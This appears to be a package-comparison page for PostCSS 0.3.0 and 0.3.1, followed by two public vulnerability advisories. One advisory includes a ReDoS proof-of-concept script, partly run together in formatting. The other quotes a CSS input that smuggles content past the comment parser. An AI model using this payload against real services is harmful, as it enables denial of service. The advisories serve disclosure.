PostCSS is a framework designed for CSS postprocessors, enabling developers to transform CSS with JavaScript plugins. Examining versions 0.3.0 and 0.3.1 reveals subtle but important updates beneficial for users. Both versions share the same core description, license (MIT), repository, and author, indicating continuity in the project's vision and maintainership.
A key difference lies in the source-map dependency. Version 0.3.0 relies on source-map version ~0.1.31, while version 0.3.1 updates this to ~0.1.32. This might seem minor, but updates to source map libraries often address bug fixes, performance enhancements, and improved compatibility with debugging tools. For developers heavily reliant on source maps for efficient debugging and streamlined workflow, this adjustment within PostCSS 0.3.1 makes it the preferable choice.
Furthermore, the release dates unveil that version 0.3.1 came out just five days after 0.3.0 implying a quick fix or minor enhancement. The other dependencies and devDependencies remain untouched, suggesting that the core functionality and the developer tooling (testing, CSS object model, etc) stayed the same between releases. In conclusion, upgrading to PostCSS 0.3.1 offers a refined experience, particularly concerning source map handling. Developers leveraging source maps will find this enhancement valuable, promoting smoother debugging and a more stable development environment, while maintaining compatibility and functionality.
All the vulnerabilities related to the version 0.3.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.